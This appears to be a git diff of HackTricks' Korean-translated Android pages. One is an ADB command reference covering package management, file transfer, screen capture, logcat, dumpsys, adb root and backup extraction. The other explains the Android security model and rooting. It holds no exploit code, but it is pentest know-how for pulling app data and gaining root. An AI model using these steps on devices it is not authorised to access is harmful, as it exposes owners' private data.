adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to query.
|
||||||
```
|
```
|
||||||
|
### adb shell pm path \<PACKAGE>
|
||||||
|
|
||||||
#### adb shell pm path \<PACKAGE>
|
주어진 APK의 경로를 출력합니다.
|
||||||
|
|
||||||
주어진 \<PACKAGE>의 APK 경로를 출력합니다.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb shell pm path com.android.phone
|
adb shell pm path com.android.phone
|
||||||
```
|
```
|
||||||
|
### adb shell pm clear \<PACKAGE>
|
||||||
#### adb shell pm clear \<PACKAGE>
|
|
||||||
|
|
||||||
패키지와 관련된 모든 데이터를 삭제합니다.
|
패키지와 관련된 모든 데이터를 삭제합니다.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb shell pm clear com.test.abc
|
adb shell pm clear com.test.abc
|
||||||
```
|
```
|
||||||
|
# 파일 관리자
|
||||||
|
|
||||||
## 파일 관리자
|
### adb pull \<remote> \[local]
|
||||||
|
|
||||||
#### adb pull \<remote> \[local]
|
|
||||||
|
|
||||||
에뮬레이터/장치에서 지정된 파일을 컴퓨터로 다운로드합니다.
|
|
||||||
|
|
||||||
|
지정된 파일을 에뮬레이터/장치에서 컴퓨터로 다운로드합니다.
|
||||||
```bash
|
```bash
|
||||||
adb pull /sdcard/demo.mp4 ./
|
adb pull /sdcard/demo.mp4 ./
|
||||||
```
|
```
|
||||||
|
### adb push \<local> \<remote>
|
||||||
|
|
||||||
#### adb push <로컬> <원격>
|
지정된 파일을 컴퓨터에서 에뮬레이터/장치로 업로드합니다.
|
||||||
|
|
||||||
컴퓨터에서 지정된 파일을 에뮬레이터/장치로 업로드합니다.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb push test.apk /sdcard
|
adb push test.apk /sdcard
|
||||||
```
|
```
|
||||||
|
# Screencapture/Screenrecord
|
||||||
|
|
||||||
## 스크린캡처/스크린레코드
|
### adb shell screencap \<filename>
|
||||||
|
|
||||||
#### adb shell screencap <파일명>
|
|
||||||
|
|
||||||
기기 화면의 스크린샷을 찍습니다.
|
|
||||||
|
|
||||||
|
디바이스 화면의 스크린샷을 찍습니다.
|
||||||
```bash
|
```bash
|
||||||
adb shell screencap /sdcard/screen.png
|
adb shell screencap /sdcard/screen.png
|
||||||
```
|
```
|
||||||
|
### adb shell screenrecord \[options] \<filename>
|
||||||
|
|
||||||
#### adb shell screenrecord \[옵션] <파일명>
|
Android 4.4 (API level 19) 이상에서 실행되는 장치의 화면을 녹화합니다.
|
||||||
|
|
||||||
Android 4.4 (API 레벨 19) 이상을 실행하는 기기의 화면 녹화.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb shell screenrecord /sdcard/demo.mp4
|
adb shell screenrecord /sdcard/demo.mp4
|
||||||
adb shell screenrecord --size <WIDTHxHEIGHT>
|
adb shell screenrecord --size <WIDTHxHEIGHT>
|
||||||
|
@ -252,33 +161,27 @@ adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in
|
||||||
adb shell screenrecord --rotate # Rotates 90 degrees
|
adb shell screenrecord --rotate # Rotates 90 degrees
|
||||||
adb shell screenrecord --verbose
|
adb shell screenrecord --verbose
|
||||||
```
|
```
|
||||||
|
(녹화를 중지하려면 Ctrl-C를 누르세요)
|
||||||
|
|
||||||
(press Ctrl-C to stop recording)
|
**_**adb pull**_을 사용하여 파일(이미지 및 비디오)을 다운로드할 수 있습니다.**
|
||||||
|
|
||||||
**\_**adb pull**\_**을 사용하여 파일(이미지 및 비디오)을 다운로드할 수 있습니다.
|
# 셸
|
||||||
|
|
||||||
## 쉘
|
### adb 셸
|
||||||
|
|
||||||
#### adb shell
|
|
||||||
|
|
||||||
장치 내부에서 쉘을 얻습니다.
|
|
||||||
|
|
||||||
|
장치 내부에서 셸을 가져옵니다.
|
||||||
```bash
|
```bash
|
||||||
adb shell
|
adb shell
|
||||||
```
|
```
|
||||||
|
### adb shell \<CMD>
|
||||||
|
|
||||||
#### adb shell \<CMD>
|
디바이스 내에서 명령을 실행합니다.
|
||||||
|
|
||||||
디바이스 내에서 명령어를 실행합니다.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb shell ls
|
adb shell ls
|
||||||
```
|
```
|
||||||
|
## pm
|
||||||
### pm
|
|
||||||
|
|
||||||
다음 명령은 셸 내에서 실행됩니다.
|
다음 명령은 셸 내에서 실행됩니다.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pm list packages #List installed packages
|
pm list packages #List installed packages
|
||||||
pm path <package name> #Get the path to the apk file of tha package
|
pm path <package name> #Get the path to the apk file of tha package
|
||||||
|
@ -287,83 +190,44 @@ am startservice [<options>] #Start a service. Whiout options you can see the hel
|
||||||
am broadcast [<options>] #Send a broadcast. Whiout options you can see the help menu
|
am broadcast [<options>] #Send a broadcast. Whiout options you can see the help menu
|
||||||
input [text|keyevent] #Send keystrokes to device
|
input [text|keyevent] #Send keystrokes to device
|
||||||
```
|
```
|
||||||
|
# Processes
|
||||||
|
|
||||||
## 프로세스
|
애플리케이션의 프로세스 PID를 얻으려면 다음을 실행할 수 있습니다:
|
||||||
|
|
||||||
애플리케이션의 프로세스 ID(PID)를 얻고 싶다면 다음을 실행할 수 있습니다:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb shell ps
|
adb shell ps
|
||||||
```
|
```
|
||||||
|
그리고 애플리케이션을 검색하세요
|
||||||
|
|
||||||
그리고 앱을 검색하세요.
|
또는 다음을 수행할 수 있습니다
|
||||||
|
|
||||||
또는 다음을 수행할 수 있습니다.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb shell pidof com.your.application
|
adb shell pidof com.your.application
|
||||||
```
|
```
|
||||||
|
|
||||||
그리고 애플리케이션의 PID를 출력합니다.
|
그리고 애플리케이션의 PID를 출력합니다.
|
||||||
|
|
||||||
## 시스템
|
# 시스템
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb root
|
adb root
|
||||||
```
|
```
|
||||||
|
adbd 데몬을 루트 권한으로 재시작합니다. 그런 다음, ADB 서버에 다시 연결해야 하며, 루트 권한을 가질 수 있습니다(가능한 경우).
|
||||||
adbd 데몬을 루트 권한으로 다시 시작합니다. 그런 다음 ADB 서버에 다시 연결해야 합니다. 그러면 루트 권한을 얻을 수 있습니다 (사용 가능한 경우).
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb sideload <update.zip>
|
adb sideload <update.zip>
|
||||||
```
|
```
|
||||||
|
flashing/restoring Android update.zip 패키지.
|
||||||
|
|
||||||
## 로그
|
# Logs
|
||||||
|
|
||||||
### 로그캣
|
## Logcat
|
||||||
|
|
||||||
**한 애플리케이션의 메시지만 필터링**하려면 애플리케이션의 PID를 얻고 logcat의 출력을 필터링하기 위해 grep (linux/macos) 또는 findstr (windows)를 사용하십시오.
|
|
||||||
|
|
||||||
|
**하나의 애플리케이션의 메시지만 필터링하려면**, 애플리케이션의 PID를 가져오고 grep (linux/macos) 또는 findstr (windows)를 사용하여 logcat의 출력을 필터링하십시오:
|
||||||
```bash
|
```bash
|
||||||
adb logcat | grep 4526
|
adb logcat | grep 4526
|
||||||
adb logcat | findstr 4526
|
adb logcat | findstr 4526
|
||||||
```
|
```
|
||||||
|
### adb logcat \[option] \[filter-specs]
|
||||||
#### adb logcat \[옵션] \[필터-사양]
|
|
||||||
|
|
||||||
adb logcat 명령은 Android 디바이스의 로그를 캡처하고 출력하는 데 사용됩니다. 이 명령은 앱의 디버깅, 오류 분석 및 성능 모니터링에 유용합니다.
|
|
||||||
|
|
||||||
**옵션:**
|
|
||||||
|
|
||||||
* \-d: 현재 로그를 캡처하고 출력한 후 종료합니다.
|
|
||||||
* \-f \<file>: 로그를 지정된 파일에 기록합니다.
|
|
||||||
* \-r \<kbytes>: 로그를 지정된 크기로 롤링합니다.
|
|
||||||
* \-n \<count>: 롤링되는 로그 파일의 최대 개수를 지정합니다.
|
|
||||||
* \-v \<format>: 출력 형식을 지정합니다. (brief, process, tag, thread, raw, time, threadtime, long)
|
|
||||||
* \-s \<filter>: 지정된 필터로 로그를 제한합니다.
|
|
||||||
* \-e \<regex>: 지정된 정규식과 일치하는 로그만 출력합니다.
|
|
||||||
* \-i: 로그를 무시합니다.
|
|
||||||
* \-c: 현재 로그를 지웁니다.
|
|
||||||
* \-t \<count>: 최근 로그 항목의 개수를 지정합니다.
|
|
||||||
* \-T \<count>: 최근 로그 항목의 시간 범위를 지정합니다.
|
|
||||||
* \-g: 로그 버퍼 크기를 출력합니다.
|
|
||||||
* \-b \<buffer>: 지정된 로그 버퍼를 사용합니다. (main, system, radio, events, crash, default)
|
|
||||||
|
|
||||||
**필터-사양:**
|
|
||||||
|
|
||||||
* \<tag>\[:priority]: 로그 태그와 우선순위를 지정합니다. (V, D, I, W, E, F, S)
|
|
||||||
* \*: 모든 로그를 포함합니다.
|
|
||||||
* \<tag>: 특정 태그의 로그를 포함합니다.
|
|
||||||
* \<tag>^: 특정 태그로 시작하는 로그를 포함합니다.
|
|
||||||
* \<tag>$: 특정 태그로 끝나는 로그를 포함합니다.
|
|
||||||
* \<tag>:\<priority>: 특정 태그와 우선순위의 로그를 포함합니다.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb logcat
|
adb logcat
|
||||||
```
|
```
|
||||||
|
Notes: 모니터를 중지하려면 Ctrl-C를 누르세요.
|
||||||
노트: 모니터링을 중지하려면 Ctrl-C를 누르세요.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb logcat *:V # lowest priority, filter to only show Verbose level
|
adb logcat *:V # lowest priority, filter to only show Verbose level
|
||||||
|
|
||||||
|
@ -379,18 +243,7 @@ adb logcat *:F # filter to only show Fatal level
|
||||||
|
|
||||||
adb logcat *:S # Silent, highest priority, on which nothing is ever printed
|
adb logcat *:S # Silent, highest priority, on which nothing is ever printed
|
||||||
```
|
```
|
||||||
|
### adb logcat -b \<Buffer>
|
||||||
#### adb logcat -b <버퍼>
|
|
||||||
|
|
||||||
`adb logcat -b <buffer>` 명령은 Android 디바이스의 로그 버퍼에서 로그를 읽는 데 사용됩니다. 로그 버퍼는 시스템, 이벤트, 메인 및 라디오 버퍼로 구성됩니다. `<buffer>`는 읽을 로그 버퍼를 지정하는 데 사용되며, 다음과 같은 값 중 하나를 가질 수 있습니다:
|
|
||||||
|
|
||||||
* `main`: 기본 로그 버퍼로, 앱 및 시스템 로그를 포함합니다.
|
|
||||||
* `system`: 시스템 로그 버퍼로, Android 시스템 로그를 포함합니다.
|
|
||||||
* `radio`: 라디오 로그 버퍼로, 라디오 인터페이스와 관련된 로그를 포함합니다.
|
|
||||||
* `events`: 이벤트 로그 버퍼로, 이벤트 로그를 포함합니다.
|
|
||||||
|
|
||||||
예를 들어, `adb logcat -b main` 명령은 기본 로그 버퍼에서 로그를 읽습니다.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb logcat -b # radio View the buffer that contains radio/telephony related messages.
|
adb logcat -b # radio View the buffer that contains radio/telephony related messages.
|
||||||
|
|
||||||
|
@ -408,13 +261,11 @@ adb logcat -g # Prints the size of the specified log buffer and exits.
|
||||||
|
|
||||||
adb logcat -n <count> # Sets the maximum number of rotated logs to <count>.
|
adb logcat -n <count> # Sets the maximum number of rotated logs to <count>.
|
||||||
```
|
```
|
||||||
|
## dumpsys
|
||||||
|
|
||||||
### dumpsys
|
시스템 데이터 덤프
|
||||||
|
|
||||||
시스템 데이터를 덤프합니다.
|
|
||||||
|
|
||||||
#### adb shell dumpsys \[옵션]
|
|
||||||
|
|
||||||
|
### adb shell dumpsys \[options]
|
||||||
```bash
|
```bash
|
||||||
adb shell dumpsys
|
adb shell dumpsys
|
||||||
|
|
||||||
|
@ -422,25 +273,19 @@ adb shell dumpsys meminfo
|
||||||
|
|
||||||
adb shell dumpsys battery
|
adb shell dumpsys battery
|
||||||
```
|
```
|
||||||
|
Notes: Android 5.0 이상에서 Developer Options가 활성화된 모바일 장치.
|
||||||
노트: Android 5.0 이상을 실행하는 개발자 옵션이 활성화된 모바일 장치.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb shell dumpsys batterystats collects battery data from your device
|
adb shell dumpsys batterystats collects battery data from your device
|
||||||
```
|
```
|
||||||
|
Notes: [Battery Historian](https://github.com/google/battery-historian)는 해당 데이터를 HTML 시각화로 변환합니다. **STEP 1** _adb shell dumpsys batterystats > batterystats.txt_ **STEP 2** _python historian.py batterystats.txt > batterystats.html_
|
||||||
노트: [Battery Historian](https://github.com/google/battery-historian)는 해당 데이터를 HTML 시각화로 변환합니다. **단계 1** _adb shell dumpsys batterystats > batterystats.txt_ **단계 2** _python historian.py batterystats.txt > batterystats.html_
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb shell dumpsys batterystats --reset erases old collection data
|
adb shell dumpsys batterystats --reset erases old collection data
|
||||||
```
|
```
|
||||||
|
|
||||||
adb shell dumpsys activity
|
adb shell dumpsys activity
|
||||||
|
|
||||||
## 백업
|
# 백업
|
||||||
|
|
||||||
adb를 통해 안드로이드 기기를 백업합니다.
|
adb를 통해 안드로이드 기기를 백업합니다.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
|
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
|
||||||
# -apk -- Include APK from Third partie's applications
|
# -apk -- Include APK from Third partie's applications
|
||||||
|
@ -452,23 +297,21 @@ adb shell pm list packages -f -3 #List packages
|
||||||
adb backup -f myapp_backup.ab -apk com.myapp # backup on one device
|
adb backup -f myapp_backup.ab -apk com.myapp # backup on one device
|
||||||
adb restore myapp_backup.ab # restore to the same or any other device
|
adb restore myapp_backup.ab # restore to the same or any other device
|
||||||
```
|
```
|
||||||
|
백업의 내용을 검사하려면:
|
||||||
만약 백업의 내용을 검사하려면:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
|
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,18 +1,19 @@
|
||||||
# 안드로이드 애플리케이션 기본 사항
|
# Android Applications Basics
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
|
||||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
@ -22,125 +23,126 @@ HackTricks를 지원하는 다른 방법:
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
## 안드로이드 보안 모델
|
## Android Security Model
|
||||||
|
|
||||||
**두 가지 레이어가 있습니다:**
|
**두 개의 레이어가 있습니다:**
|
||||||
|
|
||||||
* **OS**: 설치된 애플리케이션을 서로 격리시킵니다.
|
* **OS**, 설치된 애플리케이션을 서로 격리합니다.
|
||||||
* **애플리케이션 자체**: 개발자가 **특정 기능을 노출**하고 애플리케이션 기능을 구성할 수 있습니다.
|
* **애플리케이션 자체**, 개발자가 **특정 기능을 노출**하고 애플리케이션 기능을 구성할 수 있게 합니다.
|
||||||
|
|
||||||
### UID 분리
|
### UID Separation
|
||||||
|
|
||||||
**각 애플리케이션에는 특정 사용자 ID가 할당**됩니다. 이는 앱 설치 중에 수행되어 **앱은 해당 사용자 ID 또는 공유된** 파일에만 상호 작용할 수 있습니다. 따라서 앱 자체, OS의 특정 구성 요소 및 루트 사용자만이 앱 데이터에 액세스할 수 있습니다.
|
**각 애플리케이션은 특정 사용자 ID가 할당됩니다**. 이는 앱 설치 중에 이루어지며, **앱은 자신의 사용자 ID가 소유한 파일이나 공유 파일과만 상호작용할 수 있습니다**. 따라서 앱 자체, OS의 특정 구성 요소 및 루트 사용자만 앱 데이터를 접근할 수 있습니다.
|
||||||
|
|
||||||
### UID 공유
|
### UID Sharing
|
||||||
|
|
||||||
**두 애플리케이션은 동일한 UID를 사용하도록 구성**할 수 있습니다. 이는 정보를 공유하는 데 유용할 수 있지만 그 중 하나가 손상되면 두 애플리케이션의 데이터가 손상됩니다. 이것이 **이러한 동작이 권장되지 않는 이유**입니다.\
|
**두 개의 애플리케이션이 동일한 UID를 사용하도록 구성될 수 있습니다**. 이는 정보를 공유하는 데 유용할 수 있지만, 그 중 하나가 손상되면 두 애플리케이션의 데이터가 모두 손상됩니다. 그래서 이러한 행동은 **권장되지 않습니다**.\
|
||||||
**동일한 UID를 공유하려면 애플리케이션은 매니페스트에서 동일한 `android:sharedUserId` 값을 정의**해야 합니다.
|
**동일한 UID를 공유하려면, 애플리케이션은 매니페스트에서 동일한 `android:sharedUserId` 값을 정의해야 합니다.**
|
||||||
|
|
||||||
### 샌드박싱
|
### Sandboxing
|
||||||
|
|
||||||
**Android 애플리케이션 샌드박스**는 **각 애플리케이션을** 별도의 **사용자 ID로 별도의 프로세스로 실행**할 수 있게 합니다. 각 프로세스에는 자체 가상 머신이 있어 앱의 코드가 다른 앱과 격리된 상태에서 실행됩니다.\
|
**안드로이드 애플리케이션 샌드박스**는 **각 애플리케이션을 별도의 사용자 ID로 별도의 프로세스로 실행할 수 있게 합니다**. 각 프로세스는 자신의 가상 머신을 가지고 있어, 앱의 코드는 다른 앱과 격리되어 실행됩니다.\
|
||||||
Android 5.0(L)부터 **SELinux**가 강제됩니다. 기본적으로 SELinux는 모든 프로세스 상호 작용을 거부한 다음 그들 사이의 **예상된 상호 작용만 허용하는 정책을 생성**했습니다.
|
안드로이드 5.0(L)부터 **SELinux**가 시행됩니다. 기본적으로 SELinux는 모든 프로세스 상호작용을 거부하고, 그들 간의 **예상되는 상호작용만 허용하는 정책을 생성합니다**.
|
||||||
|
|
||||||
### 권한
|
### Permissions
|
||||||
|
|
||||||
앱을 설치하고 **권한을 요청할 때**, 앱은 **AndroidManifest.xml** 파일의 **`uses-permission`** 요소에 구성된 권한을 요청합니다. **uses-permission** 요소는 요청된 권한의 이름을 **name** **속성** 내에 나타냅니다. 또한 **maxSdkVersion** 속성이 있어 지정된 버전보다 높은 버전에서 권한 요청을 중지합니다.\
|
애플리케이션을 설치할 때 **권한을 요청하는 경우**, 앱은 **AndroidManifest.xml** 파일의 **`uses-permission`** 요소에 구성된 권한을 요청하는 것입니다. **uses-permission** 요소는 **name** **속성 내에서 요청된 권한의 이름을 나타냅니다.** 또한 **maxSdkVersion** 속성이 있어, 지정된 버전보다 높은 버전에서는 권한 요청을 중지합니다.\
|
||||||
Android 애플리케이션은 처음에 모든 권한을 요청할 필요가 없으며 **동적으로 권한을 요청**할 수 있지만 모든 권한은 **매니페스트에 선언**되어야 합니다.
|
안드로이드 애플리케이션은 처음에 모든 권한을 요청할 필요는 없으며, **동적으로 권한을 요청할 수 있지만 모든 권한은 **매니페스트에 **선언되어야 합니다.**
|
||||||
|
|
||||||
앱이 기능을 노출할 때 **특정 권한이 있는 앱에만 액세스**를 제한할 수 있습니다.\
|
앱이 기능을 노출할 때, **지정된 권한을 가진 앱만 접근할 수 있도록 제한할 수 있습니다**.\
|
||||||
권한 요소에는 세 가지 속성이 있습니다:
|
권한 요소는 세 가지 속성을 가집니다:
|
||||||
|
|
||||||
* 권한의 **이름**
|
* 권한의 **이름**
|
||||||
* **permission-group** 속성, 관련 권한을 그룹화하는 데 사용됩니다.
|
* 관련 권한을 그룹화할 수 있는 **permission-group** 속성.
|
||||||
* 권한이 부여되는 방식을 나타내는 **protection-level**이 있습니다. 네 가지 유형이 있습니다:
|
* 권한이 부여되는 방식을 나타내는 **protection-level**. 네 가지 유형이 있습니다:
|
||||||
* **Normal**: 앱에 **알려진 위협이 없을 때 사용**됩니다. 사용자가 **승인할 필요가 없습니다**.
|
* **Normal**: 앱에 **알려진 위협이 없을 때** 사용됩니다. 사용자가 **승인할 필요가 없습니다**.
|
||||||
* **Dangerous**: 권한이 요청된 애플리케이션에 일부 **상승된 액세스**를 부여함을 나타냅니다. **사용자가 승인을 요청**받습니다.
|
* **Dangerous**: 요청하는 애플리케이션에 **상승된 접근 권한**을 부여하는 권한을 나타냅니다. **사용자에게 승인을 요청합니다**.
|
||||||
* **Signature**: **구성 요소를 내보내는** 인증서와 동일한 인증서로 **서명된 앱만 권한을 부여**받을 수 있습니다. 이것은 가장 강력한 보호 유형입니다.
|
* **Signature**: **구성 요소를 내보내는 것과 동일한 인증서로 서명된 앱만 권한을 부여받을 수 있습니다**. 이는 가장 강력한 보호 유형입니다.
|
||||||
* **SignatureOrSystem**: **구성 요소를 내보내는** 인증서와 동일한 인증서로 **서명된 앱 또는 시스템 수준 액세스로 실행되는 앱만 권한을 부여**받을 수 있습니다
|
* **SignatureOrSystem**: **구성 요소를 내보내는 것과 동일한 인증서로 서명된 앱이나 **시스템 수준 접근 권한으로 실행되는 앱만 권한을 부여받을 수 있습니다**.
|
||||||
|
|
||||||
## 사전 설치된 애플리케이션
|
## Pre-Installed Applications
|
||||||
|
|
||||||
이러한 앱은 일반적으로 **`/system/app`** 또는 **`/system/priv-app`** 디렉토리에서 찾을 수 있으며 일부는 **최적화**되어 있습니다(`classes.dex` 파일을 찾을 수 없을 수도 있음). 이러한 애플리케이션은 때로는 **루트로 실행되는 권한이 너무 많은** 경우가 있으므로 확인할 가치가 있습니다.
|
이 앱들은 일반적으로 **`/system/app`** 또는 **`/system/priv-app`** 디렉토리에서 발견되며, 그 중 일부는 **최적화되어 있습니다** (심지어 `classes.dex` 파일을 찾지 못할 수도 있습니다). 이러한 애플리케이션은 때때로 **너무 많은 권한으로 실행되고 있기 때문에** 확인할 가치가 있습니다 (루트 권한으로).
|
||||||
|
|
||||||
* **AOSP**(Android 오픈소스 프로젝트) **ROM**에 포함된 앱
|
* **AOSP** (Android OpenSource Project) **ROM**과 함께 제공되는 것들
|
||||||
* **장치 제조업체**가 추가한 앱
|
* 장치 **제조업체**에 의해 추가된 것들
|
||||||
* **휴대전화 제공업체**가 추가한 앱(그들로부터 구매한 경우)
|
* **전화 제공업체**에 의해 추가된 것들 (그들로부터 구매한 경우)
|
||||||
|
|
||||||
## 루팅
|
## Rooting
|
||||||
|
|
||||||
물리적 안드로이드 장치에서 루트 액세스를 얻으려면 일반적으로 **장치 및 버전에 특정한 취약점을 이용**해야 합니다.\
|
물리적 안드로이드 장치에 루트 접근을 얻기 위해 일반적으로 **1개 또는 2개의 취약점을 **악용해야 합니다**, 이는 **장치** 및 **버전**에 **특정**입니다.\
|
||||||
일단 취약점이 작동하면 일반적으로 Linux `su` 이진 파일이 사용자의 PATH 환경 변수에 지정된 위치로 복사됩니다(`/system/xbin`과 같은 위치).
|
익스플로잇이 성공하면, 일반적으로 리눅스 `su` 바이너리가 사용자의 PATH 환경 변수에 지정된 위치인 `/system/xbin`에 복사됩니다.
|
||||||
|
|
||||||
su 이진 파일이 구성되면 다른 Android 앱이 `su` 이진 파일과 **루트 액세스 요청을 처리**하는 데 사용됩니다. 이러한 앱에는 **Superuser** 및 **SuperSU**가 포함됩니다(구글 플레이 스토어에서 사용 가능).
|
su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리와 인터페이스하여 **루트 접근 요청을 처리**합니다. 예를 들어 **Superuser** 및 **SuperSU** (Google Play 스토어에서 사용 가능).
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
루팅 프로세스는 매우 위험하며 장치를 심각하게 손상시킬 수 있습니다
|
루팅 과정은 매우 위험하며 장치를 심각하게 손상시킬 수 있습니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### ROM
|
### ROMs
|
||||||
|
|
||||||
**커스텀 펌웨어를 설치하여 OS를 대체**할 수 있습니다. 이렇게 하면 오래된 장치의 유용성을 확장하거나 소프트웨어 제한을 우회하거나 최신 Android 코드에 액세스할 수 있습니다.\
|
**커스텀 펌웨어를 설치하여 OS를 교체하는 것이 가능합니다**. 이를 통해 오래된 장치의 유용성을 확장하거나 소프트웨어 제한을 우회하거나 최신 안드로이드 코드에 접근할 수 있습니다.\
|
||||||
**OmniROM** 및 **LineageOS**는 사용할 수 있는 가장 인기 있는 펌웨어 중 두 가지입니다.
|
**OmniROM**과 **LineageOS**는 사용하기에 가장 인기 있는 두 가지 펌웨어입니다.
|
||||||
|
|
||||||
장치를 루팅할 필요가 **항상 있는 것은 아니라는 점**을 유의하세요. **일부 제조업체는** 부팅로더의 잠금 해제를 **잘 문서화되고 안전한 방식**으로 허용합니다.
|
**커스텀 펌웨어를 설치하기 위해 장치를 루팅할 필요는 항상 없습니다**. **일부 제조업체는** 잘 문서화되고 안전한 방식으로 부트로더 잠금을 해제하는 것을 허용합니다.
|
||||||
|
|
||||||
### 영향
|
### Implications
|
||||||
|
|
||||||
